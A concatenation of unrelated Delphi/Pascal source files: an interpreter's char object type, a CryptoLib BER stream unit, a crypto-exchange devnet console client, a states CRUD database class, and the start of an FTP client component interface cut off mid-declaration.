ServiceGeneralSheetHandlerCreator); end.
{ Author: Jarl K. Holta License: GNU Lesser GPL (http://www.gnu.org/licenses/lgpl.html) Runtime datatype representations } unit xpr.char; {$I express.inc} interface {$I objh.inc} uses SysUtils, xpr.express, xpr.objbase; type TCharObject = class(TEpObject) value: epChar; constructor Create(AValue:epChar); function Copy(gcGen:Byte=0): TEpObject; override; function DeepCopy: TEpObject; override; function AsString: epString; override; function AsBool: Boolean; override; function AsChar: epChar; override; function AsInt: epInt; override; function AsFloat: Double; override; procedure ASGN(other:TEpObject; var dest:TEpObject); override; procedure ADD(other:TEpObject; var dest:TEpObject); override; procedure EQ(other:TEpObject; var dest:TEpObject); override; procedure NE(other:TEpObject; var dest:TEpObject); override; procedure LT(other:TEpObject; var dest:TEpObject); override; procedure GT(other:TEpObject; var dest:TEpObject); override; procedure LE(other:TEpObject; var dest:TEpObject); override; procedure GE(other:TEpObject; var dest:TEpObject); override; procedure LOGIC_AND(other:TEpObject; var dest:TEpObject); override; procedure LOGIC_OR(other:TEpObject; var dest:TEpObject); override; procedure LOGIC_NOT(var dest:TEpObject); override; end; procedure SetCharDest(var dest:TEpObject; constref value:epChar); inline; implementation uses xpr.utils, xpr.errors, xpr.mmgr, xpr.bool, xpr.str; procedure SetCharDest(var dest:TEpObject; constref value:epChar); var GC:TGarbageCollector; begin Assert(dest <> nil, 'dest is nil'); if dest.ClassType = TCharObject then TCharObject(dest).value := value else begin GC := TGarbageCollector(dest.gc); GC.Release(dest); dest := GC.AllocChar(value); end; end; //Workaround for: `Internal error 2011010304` procedure SetBoolDest(var dest:TEpObject; constref value:Boolean); inline; var GC:TGarbageCollector; begin Assert(dest <> nil, 'dest is nil'); if dest.ClassType = TBoolObject then TBoolObject(dest).value := value else begin GC := TGarbageCollector(dest.gc); GC.Release(dest); dest := GC.AllocBool(value); end; end; constructor TCharObject.Create(AValue:epChar); begin self.Value := AValue; end; function TCharObject.Copy(gcGen:Byte=0): TEpObject; begin Result := TGarbageCollector(GC).AllocChar(self.value, gcGen); end; function TCharObject.DeepCopy: TEpObject; begin Result := TGarbageCollector(GC).AllocChar(self.value); end; function TCharObject.AsBool: Boolean; begin Result := self.Value <> #0; end; function TCharObject.AsChar: epChar; begin Result := self.Value; end; function TCharObject.AsInt: epInt; begin Result := ord(self.Value); end; function TCharObject.AsFloat: Double; begin Result := ord(self.Value); end; function TCharObject.AsString: epString; begin Result := self.Value; end; procedure TCharObject.ASGN(other:TEpObject; var dest:TEpObject); begin if other.ClassType = TCharObject then self.value := TCharObject(other).value else inherited; end; procedure TCharObject.ADD(other:TEpObject; var dest:TEpObject); begin if (other.ClassType = TCharObject) then SetStringDest(dest, self.value + TCharObject(other).value) else if (other.ClassType = TStringObject) then SetStringDest(dest, self.value + TStringObject(other).value) else inherited; end; procedure TCharObject.EQ(other:TEpObject; var dest:TEpObject); begin if (other.ClassType = TCharObject) then SetBoolDest(dest, self.value = TCharObject(other).value) else SetBoolDest(dest, ord(self.value) = other.AsInt) end; procedure TCharObject.NE(other:TEpObject; var dest:TEpObject); begin if (other.ClassType = TCharObject) then SetBoolDest(dest, self.value <> TCharObject(other).value) else SetBoolDest(dest, ord(self.value) <> other.AsInt) end; procedure TCharObject.LT(other:TEpObject; var dest:TEpObject); begin if (other.ClassType = TCharObject) then SetBoolDest(dest, self.value < TCharObject(other).value) else SetBoolDest(dest, ord(self.value) < other.AsInt) end; procedure TCharObject.GT(other:TEpObject; var dest:TEpObject); begin if (other.ClassType = TCharObject) then SetBoolDest(dest, self.value > TCharObject(other).value) else SetBoolDest(dest, ord(self.value) > other.AsInt) end; procedure TCharObject.LE(other:TEpObject; var dest:TEpObject); begin if (other.ClassType = TCharObject) then SetBoolDest(dest, self.value <= TCharObject(other).value) else SetBoolDest(dest, ord(self.value) <= other.AsInt) end; procedure TCharObject.GE(other:TEpObject; var dest:TEpObject); begin if (other.ClassType = TCharObject) then SetBoolDest(dest, self.value >= TCharObject(other).value) else SetBoolDest(dest, ord(self.value) >= other.AsInt) end; procedure TCharObject.LOGIC_AND(other:TEpObject; var dest:TEpObject); begin if (other.ClassType = TCharObject) then SetBoolDest(dest, (self.value <> #0) and (TCharObject(other).value <> #0)) else if (other.ClassType = TBoolObject) then SetBoolDest(dest, (self.value <> #0) and (TBoolObject(other).value)) else SetBoolDest(dest, (self.value <> #0) and other.AsBool); end; procedure TCharObject.LOGIC_OR(other:TEpObject; var dest:TEpObject); begin if (other.ClassType = TCharObject) then SetBoolDest(dest, (self.value <> #0) or (TCharObject(other).value <> #0)) else if (other.ClassType = TBoolObject) then SetBoolDest(dest, (self.value <> #0) or (TBoolObject(other).value)) else SetBoolDest(dest, (self.value <> #0) or other.AsBool); end; procedure TCharObject.LOGIC_NOT(var dest:TEpObject); begin SetBoolDest(dest, self.value = #0); end; end.
{ *********************************************************************************** } { * CryptoLib Library * } { * Copyright (c) 2018 - 20XX Ugochukwu Mmaduekwe * } { * Github Repository <https://github.com/Xor-el> * } { * Distributed under the MIT software license, see the accompanying file LICENSE * } { * or visit http://www.opensource.org/licenses/mit-license.php. * } { * Acknowledgements: * } { * * } { * Thanks to Sphere 10 Software (http://www.sphere10.com/) for sponsoring * } { * development of this library * } { * ******************************************************************************* * } (* &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& *) unit ClpBerOutputStream; {$I ..\Include\CryptoLib.inc} interface uses Classes, ClpDerOutputStream; type // TODO Make Obsolete in favour of Asn1OutputStream? TBerOutputStream = class sealed(TDerOutputStream) public constructor Create(os: TStream); end; implementation { TBerOutputStream } constructor TBerOutputStream.Create(os: TStream); begin Inherited Create(os); end; end.
unit Cloud.App; interface uses System.Console, System.Classes, System.SysUtils, System.DateUtils, App.Intf, DEX.Types, Cloud.Consts, Cloud.Utils, Cloud.Core; type TCloudApp = class(TInterfacedObject,IAppCore,IUI) private CloudCore: TCloudCore; Console: TConsole; public procedure ShowMessage(const AMessage: string); procedure ShowException(const AMessage: string); procedure ShowCommands(const Title: string); procedure WaitLock; procedure WaitCancel; procedure WaitUnlock; procedure DoCloudLogin; procedure DoCloudRequestBalance(const Symbol: string); procedure DoCloudBalance(const Address: string; Amount: Extended; const Symbol: string); procedure DoCloudRequestTransfer(const Symbol,Address: string; Amount: Extended); procedure DoCloudRequestRatio; procedure DoCloudRatio(RatioBTC,RatioLTC,RatioETH: Extended); procedure DoForging(Owner,Buyer,Token: Int64; Amount,Commission1,Commission2: Extended); procedure DoCloudRequestForging(const TokenSymbol,CryptoSymbol: string; TokenAmount,CryptoAmount,CryptoRatio,Commission: Extended); procedure DoCloudForgingResult(const Tx: string); procedure DoCloudRequestCreateOffer(Direction: Integer; const Symbol1,Symbol2: string; Amount,Ratio: Extended; EndDate: TDateTime); procedure DoCloudRequestOffers(const Symbol1,Symbol2: string); procedure DoCloudCreateOffer(OfferID: Int64); procedure DoCloudOffers(const Offers: TOffers); procedure DoOfferTransfer(Direction: Integer; const Symbol1,Symbol2: string; OfferAccount: Int64; Amount,Ratio: Extended); procedure DoTransferToken2(const TokenSymbol,ToAccount: string; Amount: Extended); procedure DoCloudRequestKillOffers(const Offers: TArray<Int64>); procedure DoCloudKillOffers(const Offers: TArray<Int64>); procedure DoCloudRequestActiveOffers; procedure DoCloudActiveOffers(const Offers: TOffers); procedure DoCloudRequestClosedOffers(BeginDate,EndDate: TDateTime); procedure DoCloudClosedOffers(const Offers: TOffers); procedure DoCloudRequestHistoryOffers(BeginDate,EndDate: TDateTime); procedure DoCloudHistoryOffers(const Offers: TOffers); procedure DoCloudRequestPairsSummary; procedure DoCloudPairsSummary(const Pairs: TPairs); procedure DoCloudRequestCandles(const Symbol1,Symbol2: string; BeginDate: TDateTime; IntervalType: Integer); procedure DoCloudCandles(const Symbol1,Symbol2: string; IntervalCode: Integer; const Candles: TDataCandles); procedure DoCloudRequestSetNotifications(Enabled: Boolean); procedure DoCloudSetNotifications(Enabled: Boolean); procedure DoCloudNotifyEvent(const Symbol1,Symbol2: string; EventCode: Integer); procedure DoCloudRequestTradingHistory(const Symbol1,Symbol2: string; Count: Integer); procedure DoCloudTradingHistory(const Symbol1,Symbol2: string; const Trades: TDataTrades); function GetSymbolBalance(const Symbol: string): Extended; constructor Create; destructor Destroy; override; procedure Run; end; implementation constructor TCloudApp.Create; begin Console:=TConsole.Create; CloudCore:=TCloudCore.Create; CloudCore.SetNetwork('devnet',nil); CloudCore.ShowEventMessages:=True; end; destructor TCloudApp.Destroy; begin CloudCore.Free; Console.Free; inherited; end; procedure TCloudApp.DoCloudLogin; begin end; procedure TCloudApp.DoCloudBalance(const Address: string; Amount: Extended; const Symbol: string); begin Writeln('Result: '+Address+' '+AmountToStr(Amount)+' '+Symbol); end; procedure TCloudApp.DoCloudRequestBalance(const Symbol: string); begin CloudCore.SendRequestBalance(Symbol); end; procedure TCloudApp.DoCloudRequestTransfer(const Symbol,Address: string; Amount: Extended); begin CloudCore.SendRequestTransfer(Symbol,Address,Amount); end; procedure TCloudApp.DoCloudRequestRatio; begin CloudCore.SendRequestRatio; end; procedure TCloudApp.DoForging(Owner,Buyer,Token: Int64; Amount,Commission1,Commission2: Extended); begin // end; procedure TCloudApp.DoCloudRequestForging(const TokenSymbol,CryptoSymbol: string; TokenAmount,CryptoAmount,CryptoRatio,Commission: Extended); begin CloudCore.SendRequestForging(21,1,CryptoSymbol,TokenAmount,CryptoAmount,CryptoRatio,Commission,0); end; procedure TCloudApp.DoCloudForgingResult(const Tx: string); begin Writeln('tx='+Tx); end; procedure TCloudApp.DoCloudRatio(RatioBTC,RatioLTC,RatioETH: Extended); begin Writeln('Rate BTC='+AmountToStr(RatioBTC)); Writeln('Rate LTC='+AmountToStr(RatioLTC)); Writeln('Rate ETH='+AmountToStr(RatioETH)); end; procedure TCloudApp.DoCloudRequestCreateOffer(Direction: Integer; const Symbol1,Symbol2: string; Amount,Ratio: Extended; EndDate: TDateTime); begin CloudCore.SendRequestCreateOffer(Direction,Symbol1,Symbol2,Amount,Ratio,EndDate); end; procedure TCloudApp.DoCloudCreateOffer(OfferID: Int64); begin ShowMessage('Offer='+OfferID.ToString); end; procedure TCloudApp.DoCloudRequestOffers(const Symbol1,Symbol2: string); begin CloudCore.SendRequestOffers(Symbol1,Symbol2); end; procedure TCloudApp.DoCloudOffers(const Offers: TOffers); begin for var Offer in Offers.Sort do Writeln(string(Offer)); end; function AnyOf(const S: string; const Values: array of string): Boolean; begin Result:=False; for var V in Values do if SameText(S,V) then Exit(True); end; procedure Require(Condition: Boolean; const Text: string); begin if not Condition then raise Exception.Create(Text); end; const ACCOUNT_INDEFINITE=0; procedure TCloudApp.DoOfferTransfer(Direction: Integer; const Symbol1,Symbol2: string; OfferAccount: Int64; Amount,Ratio: Extended); var PaySymbol: string; begin Require(Ratio>0,'wrong ratio'); Require(Amount>0,'wrong amount'); Require(OfferAccount<>ACCOUNT_INDEFINITE,'indefinite offer account'); if Direction=1 then PaySymbol:=Symbol1 else // buy if Direction=2 then PaySymbol:=Symbol2 else // sell PaySymbol:=''; if AnyOf(PaySymbol,['RLC','GTN']) then begin Require(Amount<=GetSymbolBalance(PaySymbol),'insufficient funds'); DoTransferToken2(PaySymbol,OfferAccount.ToString,Amount); end; end; procedure TCloudApp.DoTransferToken2(const TokenSymbol,ToAccount: string; Amount: Extended); begin end; procedure TCloudApp.DoCloudRequestKillOffers(const Offers: TArray<Int64>); begin CloudCore.SendRequestKillOffers(Offers); end; procedure TCloudApp.DoCloudKillOffers(const Offers: TArray<Int64>); begin ShowMessage('Killed offers = '+ArrayToString(Offers,', ')); end; procedure TCloudApp.DoCloudRequestActiveOffers; begin CloudCore.SendRequestActiveOffer; end; procedure TCloudApp.DoCloudActiveOffers(const Offers: TOffers); begin for var Offer in Offers.SortByStartDate do Writeln(string(Offer)); end; procedure TCloudApp.DoCloudRequestClosedOffers(BeginDate,EndDate: TDateTime); begin CloudCore.SendRequestClosedOffer(BeginDate,EndDate); end; procedure TCloudApp.DoCloudClosedOffers(const Offers: TOffers); begin for var Offer in Offers.SortByLastDate do Writeln(string(Offer)); end; procedure TCloudApp.DoCloudRequestHistoryOffers(BeginDate,EndDate: TDateTime); begin CloudCore.SendRequestHistoryOffer(BeginDate,EndDate); end; procedure TCloudApp.DoCloudHistoryOffers(const Offers: TOffers); begin for var Offer in Offers.SortByLastDate do Writeln(string(Offer)); end; procedure TCloudApp.DoCloudRequestPairsSummary; begin CloudCore.SendRequestPairsSummary; end; procedure TCloudApp.DoCloudPairsSummary(const Pairs: TPairs); begin for var Pair in Pairs do Writeln(string(Pair)); end; procedure TCloudApp.DoCloudRequestCandles(const Symbol1,Symbol2: string; BeginDate: TDateTime; IntervalType: Integer); begin CloudCore.SendRequestCandles(Symbol1,Symbol2,BeginDate,IntervalType); end; procedure TCloudApp.DoCloudCandles(const Symbol1,Symbol2: string; IntervalCode: Integer; const Candles: TDataCandles); begin ShowMessage(Symbol1+'/'+Symbol2+' candles (interval code: '+IntervalCode.ToString+'):'); for var Candle in Candles do ShowMessage(Candle); end; procedure TCloudApp.DoCloudRequestSetNotifications(Enabled: Boolean); begin CloudCore.SendRequestSetNotifications(Enabled); end; procedure TCloudApp.DoCloudSetNotifications(Enabled: Boolean); const V: array[Boolean] of string=('disable','enable'); begin ShowMessage('notifications='+V[Enabled]); end; procedure TCloudApp.DoCloudNotifyEvent(const Symbol1,Symbol2: string; EventCode: Integer); begin //if Symbol1+Symbol2='RLCBTC' then if EventCode=2 then AppCore.DoCloudRequestCandles('RLC','BTC',IncMinute(Now,-10),1); end; procedure TCloudApp.DoCloudRequestTradingHistory(const Symbol1,Symbol2: string; Count: Integer); begin CloudCore.SendRequestTradingHistory(Symbol1,Symbol2,Count); end; procedure TCloudApp.DoCloudTradingHistory(const Symbol1,Symbol2: string; const Trades: TDataTrades); begin ShowMessage(Symbol1+'/'+Symbol2+' trading history:'); for var Trade in Trades do ShowMessage(Trade); end; function TCloudApp.GetSymbolBalance(const Symbol: string): Extended; begin Result:=0; if Symbol='RLC' then Exit(100); if Symbol='GTN' then Exit(76); end; procedure TCloudApp.ShowException(const AMessage: string); begin Writeln('except:'+AMessage); end; procedure TCloudApp.ShowMessage(const AMessage: string); begin Writeln(AMessage); end; procedure TCloudApp.WaitCancel; begin end; procedure TCloudApp.WaitLock; begin end; procedure TCloudApp.WaitUnlock; begin end; procedure TCloudApp.ShowCommands(const Title: string); begin Writeln(Title+#10+ '1 - login'#10+ '2 - request balance'#10+ '3 - transfer'#10+ '4 - ratio'#10+ '5 - forging'#10+ '6 - create offer'#10+ '7 - get offers'#10+ '8 - kill offers'#10+ '9 - active offers'#10+ '0 - closed offers'#10+ 'q - offers history'#10+ 'w - pairs summary'#10+ 'e - get candles'#10+ 'r - enable notifications'#10+ 't - disable notifications'#10+ 'y - get trading history'#10+ 'c - connect'#10+ 'd - disconnect'#10+ 'u - unauthorized'#10+ 'h - commands'); end; procedure TCloudApp.Run; var Command: Word; begin ShowCommands('Press command key...'); Writeln; CloudCore.SetAuth('hoome@users.dev','0',4); CloudCore.SetKeepAlive(True,4000); //CloudCore.SetAuth('genesis48@users.dev','0',1); //CloudCore.SetAuth('','',1); TThread.CreateAnonymousThread( procedure begin while Command<>13 do begin Command:=Console.ReadKey; if Command<>13 then TThread.Synchronize(nil, procedure begin case Command of 67: CloudCore.Connect; 68: CloudCore.Disconnect; 85: CloudCore.Unauthorized; 49: CloudCore.SendRequestLogin; 50: DoCloudRequestBalance('BTC'); 51: DoCloudRequestTransfer('BTC','2MzReLLxWt5a3Zsgq6hrvXTCg3xDXdHpqfe',0.00001); 52: DoCloudRequestRatio; 53: DoCloudRequestForging('RLC','BTC',25,0.00001,6456.543,0); 54: //DoCloudRequestCreateOffer(DIRECTION_SELL,'RLC','BTC',13,0.00681,Now+20); DoCloudRequestCreateOffer(DIRECTION_BUY,'RLC','BTC',22,0.00582,Now+20); 55: DoCloudRequestOffers('RLC','');//'BTC'); 56: DoCloudRequestKillOffers([11,10]); 57: DoCloudRequestActiveOffers; 48: DoCloudRequestClosedOffers(Date-10,Date+1); 81: DoCloudRequestHistoryOffers(Date-10,Date+1); 87: DoCloudRequestPairsSummary; 69: DoCloudRequestCandles('RLC','BTC',IncMinute(Now,-10),1); 82: DoCloudRequestSetNotifications(True); 84: DoCloudRequestSetNotifications(False); 89: DoCloudRequestTradingHistory('RLC','BTC',10); 72: ShowCommands('Commands list:'); 79: begin DoCloudRequestActiveOffers; DoCloudRequestPairsSummary; DoCloudRequestActiveOffers; end; end; end); end; end).Start; while Command<>13 do CheckSynchronize(100); end; end.
unit clEstados; interface uses clConexao; type TEstados = class(TConexao) private function getNome: String; function getSigla: String; function getExecutante: String; function getData: TDateTime; procedure setSigla(const Value: String); procedure setNome(const Value: String); procedure setExecutante(const Value: String); procedure setData(const Value: TDateTime); protected _sigla: String; _nome: String; _executante: String; _data: TDateTime; public property Sigla: String read getSigla write setSigla; property Nome: String read getNome write setNome; property Executante: String read getExecutante write setExecutante; property Data: TDateTime read getData write setData; function Validar(sOperacao: String): Boolean; function Insert(): Boolean; function Update(): Boolean; function Delete(): Boolean; function getObject(id, coluna: String): Boolean; function getObjects(): Boolean; function getField(campo, coluna: String): String; end; const TABLENAME = 'TBESTADOS'; implementation uses Variants, SysUtils, udm, clUtil, Math, Dialogs, DB, ZAbstractRODataset, ZDataset; { TProdutos } function TEstados.getNome: String; begin Result := _nome; end; function TEstados.getSigla: String; begin Result := _sigla; end; function TEstados.getExecutante: String; begin Result := _executante; end; function TEstados.getData: TDateTime; begin Result := _data; end; procedure TEstados.setNome(const Value: String); begin _nome := Value; end; procedure TEstados.setSigla(const Value: String); begin _sigla := Value; end; procedure TEstados.setExecutante(const Value: String); begin _executante := Value; end; procedure TEstados.setData(const Value: TDateTime); begin _data := Value; end; function TEstados.Validar(sOperacao: String): Boolean; begin if Trim(Self.Sigla) = '' then begin MessageDlg('Informe a Sigla do Estado.', mtWarning, [mbOK], 0); Result := False; Exit; end; if sOperacao = 'I' then begin if getField('UF_ESTADO', 'SIGLA') <> '' then begin MessageDlg('Sigla jŠ cadastrada.', mtWarning, [mbOK], 0); Result := False; Exit; end; end; if Self.Nome = '' then begin MessageDlg('Informe o nome do Estado.', mtWarning, [mbOK], 0); Result := False; Exit; end; Result := True; end; function TEstados.Insert(): Boolean; begin Try Result := False; if (not Self.VerifyConnZEOS(0)) then begin MessageDlg('Erro ao estabelecer conex„o ao banco de dados (' + Self.ClassName + ') !', mtError, [mbCancel], 0); Exit; end; with dm.QryCRUD do begin Close; SQL.Clear; SQL.Text := 'INSERT INTO ' + TABLENAME + ' (UF_ESTADO, NOM_ESTADO, NOM_EXECUTANTE, DAT_MANUTENCAO) ' + 'VALUES(:SIGLA, :NOME, :EXECUTANTE, :DATA) '; ParamByName('NOME').AsString := Self.Nome; ParamByName('SIGLA').AsString := Self.Sigla; ParamByName('EXECUTANTE').AsString := Self.Executante; ParamByName('DATA').AsDateTime := Self.Data; dm.ZConn.Reconnect; ExecSQL; end; dm.QryCRUD.Close; dm.QryCRUD.SQL.Clear; Result := True; Except on E: Exception do ShowMessage('Classe: ' + E.ClassName + chr(13) + 'Mensagem: ' + E.Message); end; end; function TEstados.Update(): Boolean; begin Try Result := False; if (not Self.VerifyConnZEOS(0)) then begin MessageDlg('Erro ao estabelecer conex„o ao banco de dados (' + Self.ClassName + ') !', mtError, [mbCancel], 0); Exit; end; with dm.QryCRUD do begin Close; SQL.Clear; SQL.Text := 'UPDATE ' + TABLENAME + ' SET NOM_ESTADO = :NOME, NOM_EXECUTANTE = :EXECUTANTE, ' + 'DAT_MANUTENCAO = :DATA WHERE UF_ESTADO =:SIGLA'; ParamByName('NOME').AsString := Self.Nome; ParamByName('SIGLA').AsString := Self.Sigla; ParamByName('EXECUTANTE').AsString := Self.Executante; ParamByName('DATA').AsDateTime := Self.Data; dm.ZConn.Reconnect; ExecSQL; end; Result := True; Except on E: Exception do ShowMessage('Classe: ' + E.ClassName + chr(13) + 'Mensagem: ' + E.Message); end; end; function TEstados.Delete(): Boolean; begin Try Result := False; if (not Self.VerifyConnZEOS(0)) then begin MessageDlg('Erro ao estabelecer conex„o ao banco de dados (' + Self.ClassName + ') !', mtError, [mbCancel], 0); Exit; end; with dm.QryCRUD do begin Close; SQL.Clear; SQL.Text := 'DELETE FROM ' + TABLENAME + ' WHERE UF_ESTADO =:SIGLA'; ParamByName('SIGLA').AsString := Self.Sigla; dm.ZConn.Reconnect; ExecSQL; end; dm.QryCRUD.Close; dm.QryCRUD.SQL.Clear; Result := True; Except on E: Exception do ShowMessage('Classe: ' + E.ClassName + chr(13) + 'Mensagem: ' + E.Message); end; end; function TEstados.getObject(id, coluna: String): Boolean; begin Try Result := False; if TUtil.Empty(id) then Exit; if (not Self.VerifyConnZEOS(0)) then begin MessageDlg('Erro ao estabelecer conex„o ao banco de dados (' + Self.ClassName + ') !', mtError, [mbCancel], 0); Exit; end; with dm.QryGetObject do begin Close; SQL.Clear; SQL.Add('SELECT * FROM ' + TABLENAME); if coluna = 'NOME' then begin if Pos('%', id) > 0 then SQL.Add(' WHERE NOM_ESTADO LIKE :NOME') else SQL.Add(' WHERE NOM_ESTADO = :NOME'); ParamByName('NOME').AsString := id; end else if coluna = 'SIGLA' then begin if Pos('%', id) > 0 then SQL.Add(' WHERE UF_ESTADO LIKE :SIGLA') else SQL.Add(' WHERE UF_ESTADO = :SIGLA'); ParamByName('SIGLA').AsString := id; end; dm.ZConn.Reconnect; Open; if not IsEmpty then First; end; if dm.QryGetObject.RecordCount = 1 then begin Self.Sigla := dm.QryGetObject.FieldByName('UF_ESTADO').AsString; Self.Nome := dm.QryGetObject.FieldByName('NOM_ESTADO').AsString; Self.Executante := dm.QryGetObject.FieldByName('NOM_EXECUTANTE').AsString; Self.Data := dm.QryGetObject.FieldByName('DAT_MANUTENCAO').AsDateTime; Result := True; end else if dm.QryGetObject.RecordCount = 0 then ShowMessage('Registro n„o encontrado!') else Result := True; Except on E: Exception do ShowMessage('Classe: ' + E.ClassName + chr(13) + 'Mensagem: ' + E.Message); end; end; function TEstados.getObjects(): Boolean; begin Try Result := False; if (not Self.VerifyConnZEOS(0)) then begin MessageDlg('Erro ao estabelecer conex„o ao banco de dados (' + Self.ClassName + ') !', mtError, [mbCancel], 0); Exit; end; with dm.QryGetObject do begin Close; SQL.Clear; SQL.Text := 'SELECT * FROM ' + TABLENAME + ' ORDER BY UF_ESTADO'; dm.ZConn.Reconnect; Open; if not IsEmpty then First; end; if dm.QryGetObject.RecordCount > 0 then Result := True; Except on E: Exception do ShowMessage('Classe: ' + E.ClassName + chr(13) + 'Mensagem: ' + E.Message); end; end; function TEstados.getField(campo, coluna: String): String; begin Try Result := ''; if (not Self.VerifyConnZEOS(0)) then begin MessageDlg('Erro ao estabelecer conex„o ao banco de dados (' + Self.ClassName + ') !', mtError, [mbCancel], 0); Exit; end; with dm.QryGetObject do begin Close; SQL.Clear; SQL.Text := 'SELECT ' + campo + ' FROM ' + TABLENAME; if coluna = 'NOME' then begin SQL.Add(' WHERE NOM_ESTADO = :NOME '); ParamByName('NOME').AsString := Self.Nome; end else if coluna = 'SIGLA' then begin SQL.Add(' WHERE UF_ESTADO = :SIGLA '); ParamByName('SIGLA').AsString := Self.Sigla; end; dm.ZConn.Reconnect; Open; if not IsEmpty then First; end; if dm.QryGetObject.RecordCount > 0 then Result := dm.QryGetObject.FieldByName(campo).AsString; dm.QryGetObject.Close; dm.QryGetObject.SQL.Clear; Except on E: Exception do ShowMessage('Classe: ' + E.ClassName + chr(13) + 'Mensagem: ' + E.Message); end; end; end.
{ Clever Internet Suite Copyright (C) 2013 Clever Components All Rights Reserved www.CleverComponents.com } unit clFtp; interface {$I clVer.inc} {$IFDEF DELPHI7} {$WARN UNSAFE_CODE OFF} {$WARN UNSAFE_TYPE OFF} {$ENDIF} uses {$IFNDEF DELPHIXE2} SysUtils, Classes, SyncObjs, {$ELSE} System.SysUtils, System.Classes, System.SyncObjs, {$ENDIF} clTcpClient, clTcpClientTls, clTcpCommandClient, clUtils, clFtpUtils, clSocket, clCertificate, clSocketUtils, clTranslator; type EclFtpError = class(EclTcpClientError); TclDirectoryListingEvent = procedure(Sender: TObject; AFileInfo: TclFtpFileInfo; const Source: string) of object; TclFtpFileNameEncoding = (feAutoDetect, feUseUtf8, feUseCharSet); TclFtp = class(TclTcpCommandClient) private FPassiveMode: Boolean; FTransferMode: TclFtpTransferMode; FTransferStructure: TclFtpTransferStructure; FTransferType: TclFtpTransferType; FDataConnection: TclTcpConnection; FProxySettings: TclFtpProxySettings; FDataAccessor: TCriticalSection; FResourcePos: Int64; FResponsePos: Integer; FDataProtection: Boolean; FDataPortBegin: Integer; FDataPortEnd: Integer; FOnCustomFtpProxy : TNotifyEvent; FOnDirectoryListing: TclDirectoryListingEvent; FExtensions: TStrings; FDataHost: string; FFileNameEncoding: TclFtpFileNameEncoding; FUtf8Allowed: Boolean; procedure BeginAccess; procedure EndAccess; function GetCurrentDir: string; procedure SetPassiveMode(const Value: Boolean); procedure SetDataProtection(const Value: Boolean); procedure SetTransferMode(const Value: TclFtpTransferMode); procedure SetTransferStructure(const Value: TclFtpTransferStructure); procedure SetProxySettings(const Value: TclFtpProxySettings); procedure SetTransferType(const Value: TclFtpTransferType); procedure SetDataPortBegin(const Value: Integer); procedure SetDataPortEnd(const Value: Integer); procedure SetDataHost(const Value: string); procedure SetFileNameEncoding(const Value: TclFtpFileNameEncoding); function ParseFileSize: Int64; function ParseFileDate: TDateTime; function GetFtpHost: string; function GetLoginPassword: string; procedure DoDataProgress(Sender: TObject; ABytesProceed, ATotalBytes: Int64); procedure ParseDirectoryListing(AList: TStrings); procedure SetDataPortMode(const AServer: string; ADataPort: Integer); procedure SetTransferParams; procedure SetPositionIfNeed; procedure WaitingMultipleResponses(const AOkResponses: array of Integer); procedure ClearResponse; procedure SetDataPassiveMode(var AHost: string; var ADataPort: Integer); procedure ParsePassiveModeResponse(var AHost: string; var ADataPort: Integer); procedure OpenServerConnection(ADataConnection: TclTcpServerConnection; var ADataHost: string; var ADataPort: Integer); procedure InternalGetData(const ACommand: string; ADestination: TStream; AMaxReadSize, ADataSize: Int64); procedure InternalPutData(const ACommand: string; ASource: TStream; AMaxWriteSize: Int64); procedure InternalFxpOperation(const APutMethod, ASourceFile, ADestinationFile: string; ASourceSite, ADestinationSite: TclFtp); function GetFileSizeIfNeed(const AFileName: string): Int64; procedure GetExtensions; protected procedure DoDestroy; override; procedure InitPassiveConnection(ADataConnection: TclTcpConnection; ADataSize: Int64; const ATargetServer: string; ATargetPort: Integer); virtual; procedure InitPortConnection(ADataConnection: TclTcpConnection; ADataSize: Int64); virtual; procedure SetUtf8Allowed(Value: Boolean); virtual; function GetDefaultPort: Integer; override; function GetResponseCode(const AResponse: string): Integer; override; procedure OpenConnection(const AServer: string; APort: Integer); override; procedure OpenSession; override; procedure CloseSession; override; procedure InternalSendCommandSync(const ACommand: string; const AOkResponses: array of Integer); override; procedure SendKeepAlive; override; procedure SetUseTLS(const Value: TclClientTlsMode); override; function GetWriteCharSet(const AText: string): string; override; function GetReadCharSet(AStream: TStream): string; override; procedure DoCustomFtpProxy; dynamic; procedure DoDirectoryListing(AFileInfo: TclFtpFileInfo; const Source: string); dynamic; public constructor Create(AOwner: TComponent); override; procedure StartTls; override; procedure GetList(AList: TStrings; const AParam: string = ''; ADetails: Boolean = True); procedure DirectoryListing(const AParam: string = ''); procedure GetHelp(AHelp: TStrings; const ACommand: string = ''); function GetFileSize(const AFileName: string): Int64; function FileExists(const AFileName: string): Boolean; function GetFileDate(const AFileName: string): TDateTime; procedure GetFile(const ASourceFile, ADestinationFile: string); overload; procedure GetFile(const ASourceFile: string; ADestination: TStream); overload; procedure GetFile(const ASourceFile: string; ADestination: TStream; APosition, ASize: Int64); overload; procedure PutFile(const ASourceFile, ADestinationFile: string); overload; procedure PutFile(ASource: TStream; const ADestinationFile: string); overload; procedure PutFile(ASource: TStream; const ADestinationFile: string; APosition, ASize: Int64); overload; procedure AppendFile(ASource: TStream; const ADestinationFile: string); procedure PutUniqueFile(ASource: TStream); procedure FxpGetFile(const ASourceFile, ADestinationFile: string; ADestinationSite: TclFtp); procedure FxpPutFile(const ASourceFile, ADestinationFile: string; ASourceSite: TclFtp); procedure FxpAppendFile(const ASourceFile, ADestinationFile: string; ASourceSite: TclFtp); procedure FxpPutUniqueFile(const ASourceFile: string; ASourceSite: TclFtp); procedure Rename(const ACurrentName, ANewName: string); procedure Delete(const AFileName: string); procedure ChangeCurrentDir(const ANewDir: string); procedure ChangeToParentDir; procedure MakeDir(const ANewDir: string); procedure RemoveDir(const ADir: string); procedure Abort; procedure Noop; procedure SetFilePermissions(const AFileName: string; AOwner, AGroup, AOther: TclFtpFilePermissions); property DataAccessor: TCriticalSection read FDataAccessor write FDataAccessor; property CurrentDir: string read GetCurrentDir; property Extensions: TStrings read FExtensions; property Utf8Allowed: Boolean read FUtf8Allowed; published property Port default DefaultFtpPort; property TransferMode: TclFtpTransferMode read FTransferMode write SetTransferMode default tmStream; property TransferStructure: TclFtpTransferStructure read FTransferStructure write SetTransferStructure default tsFile; property PassiveMode: Boolean read FPassiveMode write SetPassiveMode default False; property TransferType: TclFtpTransferType read FTransferType write SetTransferType default ttBinary; property ProxySettings: TclFtpProxySettings read FProxySettings write SetProxySettings; property DataProtection: Boolean read FDataProtection write SetDataProtection default False; property DataPortBegin: Integer read FDataPortBegin write SetDataPortBegin default 0; property DataPortEnd: Integer read FDataPortEnd write SetDataPortEnd default 0; property 